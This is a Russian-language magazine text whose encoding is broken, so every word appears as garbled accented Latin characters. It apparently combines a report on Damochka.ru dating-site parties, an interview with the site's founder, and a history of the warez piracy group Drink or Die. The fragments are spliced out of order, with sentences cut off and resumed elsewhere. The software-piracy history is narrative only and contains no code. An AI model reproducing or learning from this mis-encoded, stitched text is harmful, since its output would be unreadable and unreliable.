øîå ñêîïëåíèå íàðîäà.
Òåòåíüêè-ãàðäåðîáùè-
öû, ïîëüçóÿñü ìîìåí-
òîì, áðàëè ïî 10 ðóá-
ëåé çà ðàçìåùåíèå âåðõ-
íåé îäåæäû íà êðþ÷-
êàõ è ïðîïóñê â òóàëåò.
Ñ íà÷àëîì äèñêîòåêè,
îòêðûëîñü ÔîòîÀòåëüå,
ãäå âñå æåëàþùèå ìîã-
ëè óâåêîâå÷èòü ñåáÿ â

ïàìÿòè «ÌÅÃÀÄÀÌà-1». Áàðìåíû,
òåì âðåìåíåì, àêòèâíî ìåøàëè êîê-
òåéëè ñ íàçâàíèÿìè èãð Äàìî÷êè.
Ïîìèìî ãëàâíîé ïëîùàäêè, ôóíê-
öèîíèðîâàëè åùå äâå, ïîìåíüøå.
Íà ðîê-ïëîùàäêå çà íî÷ü âûñòóïè-
ëî äâà äåñÿòêà ðàçëè÷íûõ êîëëåê-
òèâîâ. Íà âòîðîé, ñìåíÿÿ äðóã äðó-
ãà, óñòðàèâàëè ðàñêîëáàñ ðàçíûå
äèäæåè. Çäåñü ìîæíî áûëî, ïî ìå-
ðå íåîáõîäèìîñòè, óéòè îò âñåõ êîí-
êóðñîâ è çàìêíóòüñÿ â ñåáå. Íàïðî-
òèâ ñöåíû âñå æåëàþùèå ìîãëè
âîñïîëüçîâàòüñÿ îòëè÷íûì ïèð-
ñèíã-ñåðâèñîì, ïðè÷åì ïî÷òè áåñï-
ëàòíî. Ëþáèòåëè ýêñòðèìà ìîãëè
ñäåëàòü ñåáå ïðîêîë íà èíòèìíîì
ìåñòå è ïîó÷àñòâîâàòü â ñïåöèàëü-
íîì êîíêóðñå, êîòîðûé ïðîâîäèëñÿ

íà ãëàâíîé ñöåíå. Â êîíêóðñå ïîáåäèë ãëàâíûé ìåãàýêñòðåìàë, ïðîòêíóâ-
øèé ñåáå êðàéíþþ ïëîòü. Âåëèêà æå áûëà åãî «ðàäîñòü», êîãäà ïîñëå ïðî-
öåäóðû åìó ñîîáùèëè, ÷òî òåïåðü î ñåêñå îí ìîæåò çàáûòü íà ïîëãîäà ìè-
íèìóì. Áëèæå ê óòðó ïðîøåë ðîçûãðûø òàêèõ ïðèçîâ, êàê âåá-êàìåðà, ñî-
òåí cd-äèñêîâ, èíòåðíåò-êàðò, ìàåê è ò.ä. À â 6:30 óñòàâøèé äèäæåé îáúÿ-
âèë î çàêðûòèè øîó è âðóáèë «Òàíåö ìàëåíüêèõ óòÿò», ÷åì âûçâàë çàñëó-
æåííûå àïëîäèñìåíòû.
14 ôåâðàëÿ, â äåíü âñåõ âëþáëåííûõ, à âåðíåå, â íî÷ü, ïðîøåë ôåñòè-
âàëü «ÌÅÃÀÄÀÌ-2». Íà ýòîò ðàç ãîðîäîì âñòðå÷è ñòàëà Ìîñêâà, à ìåñ-
òîì � Äâîðåö Ñïîðòà «Ñîêîëüíèêè». Ïðîãðàììà íà÷àëàñü ñ òîãî, ÷òî
ïîä ìóçûêó èç «Áðåìåíñêèõ Ìóçûêàíòîâ» íà ñöåíå ïîÿâèëèñü âåäóùèå,
êîòîðûå çàâåëè òîëïó êîíêóðñîì, ó êîãî áîëüøå «ôðàíöóçñêèõ ïèñåì
ëþáâè» (òàê íàçûâàþò ïðåçåðâàòèâû). Ïîáåäèòåëü ïðåäúÿâèë 27 ýòèõ ðå-
çèíîâûõ èçäåëèé, íî íå óñïåë íàðàäîâàòüñÿ ñâîåé êðóòîñòè, êàê âåäóùèé
ðàññòåãíóë ðóáàõó è ïðîäåìîíñòðèðîâàë öåëûé ïàòðîíòàø ýòèõ øòóê,
îïîÿñûâàþùèé åãî òåëî íåñêîëüêî ðàç. 
Ïðèøåäøèå ìîñêâè÷è ìîãëè ëè÷íî óáåäèòüñÿ â òîì, ÷òî ìèô îá óðîäöàõ,
íàñåëÿþùèõ ñàéòû çíàêîìñòâ � äåéñòâèòåëüíî ìèô. Ñðåäè äàìî÷àäöåâ
ìîæíî áûëî óâèäåòü ìíîãî ñòèëüíûõ ñèìïàòÿã. Ãäå-òî â ÷àñ íî÷è íà ñöåíó
âûøåë þíîøà è èñïîëíèë ïåñíþ ïîä ãèòàðó, êîòîðàÿ âñåì î÷åíü ïîíðàâè-
ëàñü. Â òîëïå øóøóêàëèñü: «Êòî áû ýòî ìîã áûòü? Êàêîé ó ÷åëà íèê?» Õî-
òÿ, åñëè áû ïðèñìîòðåëèñü ïîëó÷øå, óçíàëè áû Ðîäèîíà Ãàçìàíîâà � äàâ-
íåãî ïîêëîííèêà Äàìî÷êè.
Âñêîðå íà÷àëèñü áåñêîíå÷íûå êîíêóðñû, ïåðèîäè÷åñêè ïðåðûâàåìûå
êîðîòêèìè òàíöåâàëüíûìè áëîêàìè. ×åãî òîëüêî íå áûëî â ýòó íî÷ü íà
ñöåíå. ßéöà áèëè, êëàâèàòóðû ëîìàëè, ñ÷èòàëè ïðåçåðâàòèâû, äðàëèñü
íà ïîäóøêàõ. Íî ñàìûì ñêàíäàëüíûì îêàçàëñÿ êîíêóðñ «óñïåé íà ñòóë».
Êàê òîëüêî ïåðâûé ÷åëîâåê âûáûë èç èãðû, âåäóùèå, ê óäèâëåíèþ âñåõ,
ïîïðîñèëè óäàëèòüñÿ ÷åòûðåõ «ïîáåäèòåëåé», à æåðòâó ïðèêîâàëè ê
ñòóëó. Íà ñöåíó ãðàöèîçíî âûïîðõíóëà ñòðèïòèçåðøà è ñòàíöåâàëà ïðè-
âàò-òàíåö ñ îøàëåâøèì äàìî÷àäöåì, âñëåäñòâèå ÷åãî ïîñëåäíèé îñòàë-
ñÿ ëèøü â ðóáàøêå, êîòîðóþ íåëüçÿ áûëî ñíÿòü èç-çà óäåðæèâàþùåãî
ðåìíÿ. Ñðåäè íîâèíîê «ÌÅÃÀÄÀÌà-2» ìîæíî âûäåëèòü ðûöàðñêèé òóð-
íèð, â êîòîðîì äîìî÷àäöû ìîãëè ïðîêà÷àòü ñâîé ñêèëë áîåâ íà ìå÷àõ.
À â ïÿòü óòðà íàñòóïèë game over.
È, íàêîíåö, òðåòèé ïî ñ÷åòó ôåñòèâàëü ïðîøåë ñíîâà â Ïèòåðå. Èç îò-
ëè÷èòåëüíûõ ÷åðò ìîæíî îòìåòèòü ðàçäà÷ó äèñêîâ «Äàìî÷êà îô-
ôëàéí», êîòîðûå, íàäî áû ñêàçàòü, ñíà÷àëà äîëæíû áûëè ïðîäàâàòü-
ñÿ çà äåíüãè, íî ïîñëå íåêîòîðûõ òåõíè÷åñêèõ íåïîëàäîê è ïåðåíîñà
«ÌÅÃÀÄÀÌà» íà áîëåå ïîçäíèé ñðîê, îðãàíèçàòîðû ðåøèëè ñäåëàòü
äàìî÷àäöàì ïîäàðîê.
Â ýòîò äåíü áûë ïðîâåäåí åäèíñòâåííûé òóð èãðû «ËÏÊ-Îôëàéí» íà
ñöåíå, êîòîðûé âñåì ïîíðàâèëñÿ. Äàëåå ïîñëåäîâàëè ìíîãî÷èñëåííûå

âåñåëûå êîíêóðñû îò çàæèãàòåëüíûõ âåäóùèõ Áîðîäû è Êóëøîó. Êñòà-
òè, ñàìûé óäèâèòåëüíûé è ïîâåðãøèé çàë â øîê êîíêóðñ çàêëþ÷àëñÿ â
òîì, ÷òî íóæíî áûëî îòûñêàòü äåâóøêó ñ çåëåíûìè ...òðóñàìè. Äåâóø-
êà íàøëàñü, íå ïîñòåñíÿëàñü âûéòè íà ñöåíó è ïîëó÷èòü ïðèç â âèäå...
òûñÿ÷è äîëëàðîâ ÑØÀ.
Êðîìå ãëàâíîé ñöåíû, ôóíêöèîíèðîâàë åùå è òàíöïîë. Äèäæåé, ñóäÿ ïî îò-
çûâàì è ìîêðûì îäåæäàì âûõîäÿùèõ ïîäûøàòü äàìî÷àäöåâ, áûë î÷åíü
õîðîø. Òðàäèöèîííî ðàáîòàëè òàêèå òî÷êè, êàê «Ëåòîïèñü», «Ôîòîàòåëüå»,
«Ïèðñèíã», à «ðûöàðñêèå áîè» ñíîâà æäàëè ñìåëûõ è îòâàæíûõ.
Â ïîëüçó òðåòüåãî «ÌÅÃÀÄÀÌà» åùå ñòîèò îòíåñòè ïîÿâëåíèå òåëåâèçèîí-
ùèêîâ � íåâèäàííîå çðåëèùå.

[çíàêîìñòâî ñ àâòîðîì ñàéòà çíàêîìñòâ] Ïðèâåò! Ìåíÿ çîâóò
Àëåêñàíäð Àíòîíîâ, ìíå 26 ëåò, â Ñåòè è íà Äàìî÷êå èçâåñòåí ïîä íè-
êîì HAMelleON. 3 ãîäà íàçàä ó ìåíÿ ïîÿâèëàñü èäåÿ èíòåðíåò-âåðñèè
ïîïóëÿðíîé â òî âðåìÿ òåëåâèçèîííîé èãðû «Ëþáîâü ñ ïåðâîãî âçãëÿ-
äà». ß ïðèäóìàë, êàêèì îáðàçîì ìîæíî ïåðåíåñòè ïðàâèëà ýòîé èãðû
â Èíòåðíåò, è âìåñòå ñ ìîèì äðóãîì, ãåíèàëüíûì ïðîãðàììèñòîì Ïàâ-
ëîì Ñàâè÷åì, ìû ïðèñòóïèëè ê ðåàëèçàöèè ïðîåêòà. Íà ìíå áûë äè-
çàéí è âåðñòêà, îí çàíèìàëñÿ ïðîãðàììíîé ÷àñòüþ. Â àâãóñòå 2003 ãî-
äà ñàéò Äàìî÷êà.ðó îòêðûëñÿ äëÿ âñåõ ïîëüçîâàòåëåé. Ñíà÷àëà íà
íåì ðàçìåùàëàñü òîëüêî èãðà «Ëþáîâü ñ ïåðâîãî êëèêà», íî î÷åíü
ñêîðî ïîÿâèëèñü è äðóãèå ðàçäåëû. Ñ ãîäàìè íàøè öåëè íå èçìåíè-
ëèñü � ìû ñ ñàìîãî íà÷àëà õîòåëè ñîçäàòü ïîïóëÿðíûé ìîëîäåæíûé
ðåñóðñ, íà êîòîðîì ëþäè ìîãóò ïðèÿòíî ïðîâåñòè âðåìÿ, ïîîáùàòüñÿ
è ïîçíàêîìèòüñÿ. Ïðè åãî ðàçðàáîòêå ìû ýêñïåðèìåíòèðîâàëè ñ íîâû-
ìè âåá-òåõíîëîãèÿìè, ñòàðàëèñü òâîð÷åñêè ïîäõîäèòü ê äîáàâëåíèþ
íîâûõ âîçìîæíîñòåé è ôóíêöèé. Ñåé÷àñ äëÿ ìåíÿ Äàìî÷êà � ýòî îò-
ëè÷íûé ñïîñîá ñîâìåñòèòü ïðèÿòíîå ñ ïîëåçíûì, ðàáîòà, êîòîðàÿ îä-
íîâðåìåííî ÿâëÿåòñÿ è óâëå÷åíèåì. Êðîìå ýòîãî ïðîåêòà, ÿ çàíèìà-
þñü íåêîòîðûìè äðóãèìè âåùàìè, íî íà ïîääåðæêó damochka.ru óõî-
äèò íå ìåíüøå ïîëîâèíû ìîåãî ðàáî÷åãî âðåìåíè.
Íà ñàéòå ìû ïðîâîäèëè îáùåå ãîëîñîâàíèå ïî ïîâîäó òîãî, ñòîèò ëè
ââîäèòü æåñòêóþ öåíçóðó. Áîëüøèíñòâî ïðîãîëîñîâàëî ïðîòèâ, ïîý-
òîìó ó íàñ ïî-ïðåæíåìó öàðèò ñâîáîäà ñëîâà è ñàìîâûðàæåíèÿ. Ìî-
äåðàöèÿ ïðèñóòñòâóåò, íî åé ïîäâåðãàþòñÿ ëèøü òå äàìî÷àäöû, êî-
òîðûå íàðóøàþò çàêîíîäàòåëüñòâî èëè êîòîðûå ñëèøêîì âðàæäåáíî
îòíîñÿòñÿ ê äðóãèì ïîëüçîâàòåëÿì. Ïóáëèêà íà ñàéòå î÷åíü ðàçíîîá-
ðàçíàÿ. Åñòü äîâîëüíî ìíîãî èçâåñòíûõ ëþäåé. ß ëè÷íî çíàþ íåñ-
êîëüêèõ îòïðûñêîâ èçâåñòíûõ ìîñêîâñêèõ ïðîäþñåðîâ, ïîëüçîâàòå-
ëåé èç àïïàðàòà Ïðåçèäåíòà Ðîññèè, àðòèñòîâ òåàòðà è ò.ï., êîòîðûå
ïðîâîäÿò äîâîëüíî ìíîãî âðåìåíè íà Äàìî÷êå. Ìíîãèå èç íèõ ïðåä-
ïî÷èòàþò íå ñâåòèòüñÿ è çà÷àñòóþ íå âûâåøèâàþò ñâîè ôîòîãðàôèè
â àíêåòó. Åñëè ÿ ñêàæó, ÷òî, èìåÿ ïîëíûé äîñòóï ê áàçå èç 400 òûñÿ÷
çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåé, ÿ íè ðàçó íå âîñïîëüçîâàëñÿ
ýòèì â êîðûñòíûõ öåëÿõ, ìíå íèêòî íå ïîâåðèò ;). Äà, êîíå÷íî, ÿ
ñìîòðåë àíêåòû äåâóøåê, âûáèðàÿ ïî èíòåðåñóþùèì ìåíÿ ïàðàìåò-
ðàì � ãîðîä, âîçðàñò, ðîñò è ò.ï., äàæå ïî çíàêó çîäèàêà è ñîöèîòè-
ïó! Ñ íåêîòîðûìè äåâóøêàìè íåñêîëüêî ðàç âñòðå÷àëñÿ, íî íè ñ êåì
äëèòåëüíûõ îòíîøåíèé íå áûëî. Ñâîþ ïîëîâèíêó ÿ íàøåë íà Äàìî÷-
êå ñëó÷àéíî. Êîãäà ðàáîòàë íàä íîâîé âåðñèåé ËÏÊ, çàøåë íà ñàéò
è òêíóë â îäíó èç íåäàâíî çàâåðøèâøèõñÿ èãð, ÷òîáû âçÿòü îäèí èç
ýëåìåíòîâ îôîðìëåíèÿ ðåçóëüòàòîâ èãðû. Â ýòîé èãðå ó÷àñòâîâàëà
äåâóøêà, ôîòîãðàôèÿ êîòîðîé ñðàçó æå ïðèâëåêëà ìîå âíèìàíèå.
Ìû ñ íåé âìåñòå óæå äâà ãîäà :).
Ïëàíû ïî ðàçâèòèþ ñàéòà ãëîáàëüíûå, è ìû íå óñïåâàåì âîïëîùàòü
òå èäåè, êîòîðûå ðîæäàþòñÿ âî âðåìÿ ðàáîòû. Òåì áîëåå, ÷òî äîá-
ðàÿ ïîëîâèíà ðàáî÷åãî âðåìåíè ïðîãðàììèñòîâ óõîäèò íå íà ñîçäà-
íèå ÷åãî-òî íîâîãî, à íà ïîääåðæêó óæå ïðèâû÷íûõ ôóíêöèé, èñï-
ðàâëåíèå áàãîâ è ëàòàíèå äûð. Åñëè ãîâîðèòü î ïëàíàõ íà îòäàëåí-
íîå áóäóùåå, ÿ ïðåäñòàâëÿþ Äàìî÷êó ìàêñèìàëüíî èíòåãðèðîâàí-
íîé ñ ðåàëüíîé æèçíüþ. Â òå ïðåêðàñíûå âðåìåíà ïî÷òè âñå æèòåëè
Çåìëè ñòàíóò äàìî÷àäöàìè, è Äàìî÷êà ñòàíåò íåîòúåìëåìîé ÷àñòüþ
èõ æèçíè. À ïîêà ìû ñîáèðàåìñÿ ââåñòè «ñâÿçè», êîòîðûå ïîçâîëÿò
ïîëüçîâàòåëÿì îáúåäèíÿòüñÿ â ãðóïïû ïî èíòåðåñàì, ñîö. ïîëîæå-
íèþ è ëþáûì äðóãèì ïàðàìåòðàì. Ìîæíî áóäåò ñîçäàâàòü êëóáû è
êëàíû ñ ïðîèçâîëüíîé ñòðóêòóðîé è ïðàâèëàìè. Íà ýòîì äâèæêå áó-
äóò ðàáîòàòü êîíòàêò-ëèñòû, ãðóïïû «äðóçåé», ïîèñê áûâøèõ îäíîê-
ëàññíèêîâ, îäíîãðóïïíèêîâ è ò.ä.
Ìíîãèå ñ÷èòàþò, ÷òî Äàìî÷êà.ðó � ñòðîãî êîììåð÷åñêèé ïðîåêò èç-çà
«ðàçëè÷íûõ ïëàòíûõ ìåðîïðèÿòèé». Íî ïëàòíûå ìåðîïðèÿòèÿ îãðàíè÷èâà-
þòñÿ ëèøü «ÌÅÃÀÄÀÌàìè», êîòîðûõ çà âñå âðåìÿ ñóùåñòâîâàíèÿ Äàìî÷-
êè áûëî âñåãî òðè. Ðåãóëÿðíûå òóñîâêè äàìî÷àäöåâ â ðàçíûõ ãîðîäàõ îðãà-
íèçóþòñÿ íå àäìèíèñòðàöèåé, à ýíòóçèàñòàìè èç ýòèõ ãîðîäîâ. Îíè ñàìè
âûáèðàþò êëóá, âðåìÿ ïðîâåäåíèÿ âå÷åðèíêè è ïðî÷èå óñëîâèÿ. Äàìî÷êà â
ýòèõ òóñîâêàõ ïðèíèìàåò ó÷àñòèå ëèøü êàê èíñòðóìåíò äëÿ ñáîðà ëþäåé ïî
èíòåðåñàì è äîíåñåíèÿ äî íèõ èíôîðìàöèè 

äàìî÷êèí ôîðóì

ìàñòåð ïèðñèíãà ïðîêàëûâàåò
ñîñîê îòâàæíîé äàìî÷àäêå
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[äåòñòâî Ìèõè] Â 1975 ã. â íåáîëüøîé ìîñêî-
âñêîé êâàðòèðå, â òèïè÷íîé ðóññêîé ñåìüå, ðî-
äèëñÿ ïàðíèøêà ïî èìåíè Ìèøà. Íåñìîòðÿ íà
êîììóíèñòè÷åñêèå ïðîïàãàíäû âîêðóã, ðîäèòåëè
âîñïèòàëè åãî è ñòàðøóþ ñåñòðó â ñâîáîäíîé àò-
ìîñôåðå, íå òðàâèëè äóøó ðàññêàçàìè î Ëåíèíå
è ïàðòèè. Îòåö Ìèõè áûë äîâîëüíî èçâåñòíûì
ó÷åíûì è áèçíåñìåíîì, åìó ÷àñòî ïðèõîäèëîñü
åçäèòü çà ãðàíèöó â êîìàíäèðîâêè. À ïîñêîëüêó
êîìàíäèðîâêè ýòè íåðåäêî äëèëèñü ìåñÿöàìè,
ñåìüþ îí áðàë ñ ñîáîé. Â 6 ëåò Ìèøà óñïåë ïîâè-
äàòü Ãåðìàíèþ, Âåëèêîáðèòàíèþ, Þæíóþ Àôðè-
êó, Ãîëëàíäèþ è Òóðöèþ. Êîãäà åìó èñïîëíèëîñü
13, ñåìüÿ âåðíóëàñü â Ìîñêâó, è ïàðåíü ïîñòóïèë
â øêîëó ñ àíãëèéñêèì óêëîíîì.

Â ÍÀ×ÀËÅ 90-Õ ÃÃ. ÑÎÔÒÂÀÐÍÛÅ ÂÇËÎÌÙÈÊÈ
ÑÒÀËÈ ÎÁÚÅÄÈÍßÒÜÑß Â ÃÐÓÏÏÛ, ÄÎÑÒÀÂÀß
ÒÅÌ ÈËÈ ÈÍÛÌ ÎÁÐÀÇÎÌ ËÈÖÅÍÇÈÎÍÍÛÅ
ÏÐÎÃÐÀÌÌÛ, ÎÍÈ ÂÑÊÐÛÂÀËÈ ÈÕ ÇÀÙÈÒÓ,
ÓÄÀËßËÈ ÎÃÐÀÍÈ×ÅÍÈß È ÂÛÊËÀÄÛÂÀËÈ ÍÀ
BBS ÈËÈ Â ÑÅÒÈ ÄËß ÄÀËÜÍÅÉØÅÃÎ ÐÀÑÏÐÎ-
ÑÒÐÀÍÅÍÈß. ÑÎ ÂÐÅÌÅÍÅÌ ÝÒÈ ÃÐÓÏÏÛ ÑÒÀ-
ËÈ ÍÀÇÛÂÀÒÜÑß WAREZ ÑÖÅÍÎÉ. ÍÀ ÏÈÊÅ
ÐÀÇÂÈÒÈß ÂÀÐÅÇÍÎÃÎ ÊÎÌÜÞÍÈÒÈ ÑÓÙÅÑÒ-
ÂÎÂÀËÎ ÎÊÎËÎ 10 ÊÐÓÏÍÛÕ ÊÎÌÀÍÄ È ÑÎÒ-
ÍÈ ÍÅÁÎËÜØÈÕ. ÍÎ ÄÀÆÅ ÑÐÅÄÈ ÊÐÓÏÍÅÉ-
ØÈÕ ÂÀÐÅÇÍÛÕ ÁÀÍÄ ÌÀËÎ, ÊÒÎ ÌÎÃ ÑÐÀÂ-
ÍÈÒÜÑß Ñ DRINK OR DIE | mindw0rk (mindw0rk@gameland.ru) 
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Èñòîðèÿ Drink or Die

Øåë 1990 ã, âðåìÿ, êîãäà â ÑÑÑÐ íà÷àëàñü ïåðåñòðîéêà. È âðåìÿ, êîãäà Ìèøà
âïåðâûå ïîçíàêîìèëñÿ ñ êîìïüþòåðàìè. Âîçìîæíîñòü áûñòðîãî îáìåíà èí-
ôîðìàöèåé ïî Ñåòè êàçàëàñü ÷åì-òî íåâåðîÿòíûì, íî íàñòîÿùàÿ ñòðàñòü ïðî-
ÿâèëàñü ó ïàðíÿ, êîãäà îí âòÿíóëñÿ â ïðîãðàììèðîâàíèå. Ïî åãî ïðîñüáå, îòåö
êóïèë êîìïüþòåð Yamaha MSX2, íà êîòîðîì Ìèøà ïèñàë ñâîè ïåðâûå äåìêè
è èãðû íà áåéñèêå è àññåìáëåðå. À ñïóñòÿ äâà ãîäà, ó íåãî ïîÿâèëñÿ ïåðâûé
IBM PC, ñ 286-ì ïðîöåññîðîì, ìåãàáàéòîì ÎÇÓ è 40 Ìá âèí÷åñòåðîì.
Åäèíñòâåííûì ñïîñîáîì ïîëó÷èòü íîâûå ïðîãðàììû áûë îáìåí. Ê
ñ÷àñòüþ, ó Ìèõè áûëî íåñêîëüêî çíàêîìûõ ñ êîìïüþòåðîì, ÷åðåç îäíîãî èç
íèõ îí óçíàë, ÷òî ñóùåñòâóþò ëèöåíçèîííûå ïðîãðàììû è ïèðàòñêèå. À â
êà÷åñòâå ïðèìåðà ïîñëåäíèõ ïîëó÷èë ïàðó äèñêåò ñ òàê íàçûâàåìûì «âà-
ðåçîì». Ìíîãèå âçëîìàííûå ïðîãðàììû ïîñòàâëÿëèñü ñ ôàéëîì, â êîòîðîì
ðàññêàçûâàëîñü î òîì, êòî âçëîìàë çàùèòó, ïåðåäàâàëèñü ïðèâåòû «elite
ppl» è äðóãèå èíòåðåñíûå âåùè. Âñå ýòî áûëî áåçóìíî èíòåðåñíî è Ìèõà
çàãîðåëñÿ öåëüþ óçíàòü êàê ìîæíî áîëüøå î âàðåçå è ëþäÿõ, êîòîðûå çà
íèì ñòîÿò. Ïîñòåïåííî èíòåðåñ ïåðåðîñ â íå÷òî áîëüøåå. Â ñòðåìëåíèå
ñòàòü ÷àñòüþ âàðåç ñöåíû.

[ðîæäåíèå Drink or Die] Îñíîâíûìè âàðåçíûìè ãðóïïàìè íà÷àëà 90-õ áû-
ëè Razor 1911, The Dream Team, International Network of Crackers, Tri-Star Red
Sector Inc., Nokturnal Trading Alliance è The Humble Guys. Ìèøà âíèìàòåëüíî
èçó÷èë âñþ èíôîðìàöèþ, êîòîðàÿ ó íåãî ñêîïèëàñü îá ýòèõ ãðóïïàõ. Åìó õî-

õóäîæåñòâåííàÿ ëèòåðàòóðà äëÿ êðýêåðà
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ïàêåòà BBS PCBoard. Áîëüøèíñòâî àâòîðèòåòíûõ êðàê-ãðóïï â òî âðåìÿ
ñïåöèàëèçèðîâàëèñü íà ñîçäàíèè ðàçíîîáðàçíûõ PPE (Packet Processing
Engine) äëÿ PCBoard. Ýòî ìîãëè áûòü âàðèàöèè èíòåðôåéñà BBS èëè ïî-
ëåçíûå óòèëèòû äëÿ àäìèíîâ. Óñïåøíûå PPE-ïðîãðàììèñòû ñ÷èòàëèñü
òîé ñàìîé íåäîñÿãàåìîé äëÿ ïðîñòûõ ñìåðòíûõ ýëèòîé. Drink or Die íå
ñòàëà èñêëþ÷åíèåì è ñïóñòÿ êîðîòêîå âðåìÿ ïðåâðàòèëàñü â îäíó èç ñà-
ìûõ àêòèâíûõ PPE ãðóïï.
Ñíà÷àëà DOD ÿâëÿëàñü èñêëþ÷èòåëüíî ðóññêîé êîìàíäîé. Jimmy ñïëîòèë
âîêðóã ñåáÿ ñâîèõ äðóçåé, ìíîãèõ èç êîòîðûõ çíàë ëè÷íî. Âñå èçìåíèëîñü
ê êîíöó 1993 ã. Ìèõà ïîíÿë, ÷òî äëÿ äàëüíåéøåãî ðàçâèòèÿ íóæíî ñòðîèòü
ïàðòíåðñêèå îòíîøåíèÿ ñ çàðóáåæíûìè ñöåíåðàìè. È ïåðâûìè, ñ êåì îí
íàëàäèë êîíòàêòû, ñòàëè äàòñêàÿ Silverado BBS è íåìåöêàÿ Darkness BBS.
Ýòè íîäû áûëè ïåðâûìè ðàñïðîñòðàíèòåëÿìè ðåëèçîâ DOD â Åâðîïå, è
èìåííî ÷åðåç íèõ î ãðóïïå óçíàë âåñü ìèð.
Ïîìèìî PPE-ïðîåêòîâ, DOD ñïåöèàëèçèðîâàëàñü íà òðåéíåðàõ ê êîìïüþ-
òåðíûì èãðàì. Âìåñòå ñ TRSi, îíà âïåðâûå ïðåäñòàâèëà ÷èò-îïöèè, âñòðî-
åííûå â èãðîâîå ìåíþ (îáû÷íî îíè áûëè èëè â çàãðóç÷èêå, èëè ïîñòàâëÿ-
ëèñü îòäåëüíîé ïðîãðàììîé).
Òðåéäåðñêèå òàëàíòû Jimmy Jamez'à ïèòàëè ãðóïïó íåïðåðûâíûì ïðèòîêîì ñâå-
æåãî ÏÎ. Ëèäåð DOD è åãî áëèçêèå äðóçüÿ áûëè ïîñòîÿííûìè ïîñåòèòåëÿìè ëå-
ãåíäàðíûõ êðàêåðñêèõ áîðä Mirage, Gates of Asgard, Unlawful Entry, ãäå îáùàëèñü
ñ «ýëèòîé» è îáìåíèâàëèñü âàðåçîì. Âìåñòå ñ ðåïóòàöèåé, ðîñëà è ÷èñëåííîñòü
ãðóïïû. Âñåãî çà ãîä èç íåáîëüøîé êó÷êè ðèàëëàéôîâûõ ïðèÿòåëåé, Drink or Die
ïðåâðàòèëàñü â îäíó èç êðóïíåéøèõ êîìàíä íà âàðåç-ñöåíå, ñ áîëåå 60 àêòèâíûõ
ìåìáåðîâ. Ýòî íå çíà÷èò, ÷òî â ãðóïïó ïðèíèìàëè âñåõ áåç ðàçáîðà. Íàîáîðîò,
ïðàâèëà ïðèåìà áûëè î÷åíü ñòðîãèìè è ïðàêòè÷åñêè âñåãäà â óñòîÿâøèéñÿ êîë-
ëåêòèâ áðàëè òîëüêî äàâíèõ äðóçåé, õîðîøî çàðåêîìåíäîâàâøèõ ñåáÿ íà âàðåç
ñöåíå. Ïî ñóòè DOD ÿâëÿëîñü ñâîåîáðàçíîé ñåìüåé, çàêðûòîé äëÿ ïîñòîðîííèõ,
íî äðóæåñòâåííîé äëÿ «ñâîèõ». Ãðóïïà áûëà ïîëíîñòüþ ñàìîäîñòàòî÷íîé è
ïðàêòè÷åñêè íå ïîëüçîâàëàñü ÷óæèìè óñëóãàìè. Òîëüêî âíóòðåííèå ïîñòàâùèêè,
è òîëüêî ñâîè FTP è ñàéòû äëÿ ðàñïðîñòðàíåíèÿ ðåëèçîâ.

[âûõîä â Ñåòü] Â ñåðåäèíå 1994 ã. Jimmy Jamez è åãî äðóã Abbot Dervish
âïåðâûå îòêðûëè äëÿ ñåáÿ èíòåðíåò. Ïàðíè ïîñåðôèëè ñàéòû, ïðîøëèñü ïî
ôòï, ïîñåòèëè àíäåãðàóíäîâûå IRC êàíàëû� áûëî î÷åâèäíî, ÷òî çà ñåòüþ
áóäóùåå. È áóäóùåå DOD äîëæíî áûòü íåðàçðûâíî ñâÿçàíî ñ èíòåðíåòîì.
Ïåðâûì äåëîì, Ìèõà ñîçäàë â IRC ñâîé êàíàë, îòêðûòûé äëÿ ïîñòîðîííèõ, íî
èçâåñòíûé òîëüêî â óçêîì êðóãó. Âòîðûì ýòàïîì ñòàë ïðàêòè÷åñêè ïîëíûé ïå-
ðåõîä íà ðàñïðîñòðàíåíèå ðåëèçîâ ÷åðåç ñåòü. Â íà÷àëå 1995 ã. áûëî íåìíî-
ãî âàðåçíèêîâ, êîòîðûå îñâîèëè èíòåðíåò è èñïîëüçîâàëè åãî â ðàáîòå. Áîëü-
øàÿ ÷àñòü êðàêîâ ïî ïðåæíåìó õîäèëà ÷åðåç àíäåãðàóíäîâûå áîðäû. Òàê êàê
DOD ñòàëè, ïî ñóòè, ïèîíåðàìè â ýòîì, èì óäàëîñü çàáðàòü ïîä ñåáÿ âñåõ ëó÷-
øèõ ïîñòàâùèêîâ è çàõâàòèòü âíèìàíèå ïåðâûõ ñåòåâûõ ïîëüçîâàòåëåé.
Jimmy Jamez áûë î÷åíü îñòîðîæåí â âåäåíèè âñåõ äåë. Íåñìîòðÿ íà òî, ÷òî îí
æèë â Ðîññèè, ãäå íå áûëî çàêîíîâ î ñîôòâàðíîì ïèðàòñòâå, ïàðåíü íèêîãäà íå

òåëîñü íå ïðîñòî âíîñèòü êàêîé-òî âêëàä, à ïîâëèÿòü íà êîìüþíèòè â öåëîì.
Íà÷àë îí ñ íàïèñàíèÿ PPE è èãðîâûõ òðåéíåðîâ (ìàëåíüêèå ïðîãðàì-
ìêè, ñ ïîìîùüþ êîòîðûõ ìîæíî ïîñòàâèòü God-ðåæèì èëè áåñêîíå÷-
íîå êîëè÷åñòâî ïàòðîíîâ), à ïåðâîé ãðóïïîé áûëà Tri-Star Red Sector
Inc. È, òàê êàê âñå â ãðóïïå èìåëè ñâîè ïñåâäîíèìû, Ìèõà ïðèäóìàë
ñåáå âòîðîå èìÿ � Deviator.
Ñïóñòÿ ïàðó ìåñÿöåâ àêòèâíîé ñöåíîâîé äåÿòåëüíîñòè, îáíàðóæèëîñü, ÷òî
ó ïàðíÿ åñòü íàñòîÿùèé òàëàíò äîñòàâàòü ñâåæèå ïðîãðàììû èç ñàìûõ ðàç-
íûõ èñòî÷íèêîâ. Áóäü-òî ôèðìû-ðàçðàáîò÷èêè, ìàãàçèíû, áåòà-òåñòåðû,
òðåéäåðû èëè ïðîñòî äðóçüÿ� Deviator'ó ñòåêàëèñü ïðîãè ñî âñåõ êîíöîâ
ñâåòà, è åãî ÷àñòíàÿ ñîôòâàðíàÿ êîëëåêöèÿ íàâåðíÿêà áûëà ñàìîé áîëü-
øîé â Ìîñêâå. Òàê êàê ïðîãðàììèñòîâ â Tri-Star õâàòàëî, Ìèõà ñòàë ãëàâ-
íûì ïîñòàâùèêîì è òðåéäåðîì ãðóïïû, à ÷åðåç ïàðó ëåò óæå áûë èçâåñòåí
íà âñåé ìèðîâîé âàðåç-ñöåíå.
